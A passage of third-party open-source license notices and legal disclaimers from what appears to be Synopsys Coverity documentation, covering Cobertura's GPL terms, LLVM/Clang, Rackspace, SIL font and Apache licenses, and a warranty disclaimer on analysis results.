do not operate together. Customer may contact Synopsys at `software-integrity-support@synopsys.com` and Synopsys will comply with the terms of the GPL by delivering to Customer the applicable requested Open Source Software package in source code format, in accordance with the terms and conditions of the GPLv3 license. No Synopsys proprietary code that Synopsys chooses to provide to Customer will be provided in source code form; it will be provided in executable form only. Any Customer changes to the Licensed Product (including the Open Source Software) will void all Synopsys obligations under the Agreement, including but not limited to warranty, maintenance services and infringement indemnity obligations.

The Cobertura package, licensed under the GPLv2, has been modified as of release 7.0.3. The package is a self-contained program, separate and apart from Synopsys code that does not interact with the Synopsys proprietary code. The Cobertura package and the Synopsys proprietary code co-exist on the same media, but do not operate together. Customer may contact Synopsys at `software-integrity-support@synopsys.com` and Synopsys will comply with the terms of the GPL by delivering to Customer the applicable requested open source package in source format, under the GPLv2 license. Any Synopsys proprietary code that Synopsys chooses to provide to Customer upon its request will be provided in object form only. Any changes to the Licensed Product will void all

Coverity obligations under the Agreement, including but not limited to warranty, maintenance services and infringement indemnity obligations. If Customer does not have the modified Cobertura package, Synopsys recommends to use the JaCoCo package instead.

For information about using JaCoCo, see the description for **cov-build --java-coverage** in the *Command Reference*.

#### LLVM/Clang subproject

Copyright © All rights reserved. Developed by: LLVM Team, University of Illinois at Urbana-Champaign (<http://llvm.org/>). Permission is hereby granted, free of charge, to any person obtaining a copy of LLVM/Clang and associated documentation files ("Clang"), to deal with Clang without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of Clang, and to permit persons to whom Clang is furnished to do so, subject to the following conditions: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimers. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimers in the documentation and/or other materials provided with the distribution. Neither the name of the University of Illinois at Urbana-Champaign, nor the names of its contributors may be used to endorse or promote products derived from Clang without specific prior written permission.

CLANG IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH CLANG OR THE USE OR OTHER DEALINGS WITH CLANG.

#### Rackspace Threading Library (2.0)

Copyright © Rackspace, US Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use these files except in compliance with the License. You may obtain a copy of the License at <http://www.apache.org/licenses/LICENSE-2.0>.

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

#### SIL Open Font Library subproject

Copyright © 2020 Synopsys Inc. All rights reserved worldwide. ([www.synopsys.com](http://www.synopsys.com)), with Reserved Font Name fa-gear, fa-info-circle, fa-question.

This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is available with a FAQ at <http://scripts.sil.org/OFL>.

#### Apache Software License, Version 1.1

Copyright © 1999-2003 The Apache Software Foundation. All rights reserved.

## Coverity Legal Notice

---

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. The end-user documentation included with the redistribution, if any, must include the following acknowledgement: "This product includes software developed by the Apache Software Foundation (<http://www.apache.org/>)."

Alternately, this acknowledgement may appear in the software itself, if and wherever such third-party acknowledgements normally appear.

4. The names "The Jakarta Project", "Commons", and "Apache Software Foundation" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please contact [apache@apache.org](mailto:apache@apache.org).
5. Products derived from this software may not be called "Apache" nor may "Apache" appear in their names without prior written permission of the Apache Group.

THIS SOFTWARE IS PROVIDED ``AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

Apache License Version 2.0, January 2004 <http://www.apache.org/licenses/>

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at: <http://www.apache.org/licenses/LICENSE-2.0>

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

Results of analysis from Coverity and Test Advisor represent the results of analysis as of the date and time that the analysis was conducted. The results represent an assessment of the errors, weaknesses and vulnerabilities that can be detected by the analysis, and do not state or infer that no other errors, weaknesses or vulnerabilities exist in the software analyzed. Synopsys does NOT guarantee that all

errors, weakness or vulnerabilities will be discovered or detected or that such errors, weaknesses or vulnerabilities are discoverable or detectable.

SYNOPSIS AND ITS SUPPLIERS DISCLAIM ALL WARRANTIES, CONDITIONS AND REPRESENTATIONS, EXPRESS, IMPLIED OR STATUTORY, INCLUDING THOSE RELATED TO MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, SATISFACTORY QUALITY, ACCURACY OR COMPLETENESS OF RESULTS, CONFORMANCE WITH DESCRIPTION, AND NON-INFRINGEMENT. SYNOPSIS AND ITS SUPPLIERS SPECIFICALLY DISCLAIM ALL IMPLIED WARRANTIES, CONDITIONS AND REPRESENTATIONS ARISING OUT OF COURSE OF DEALING, USAGE OR TRADE.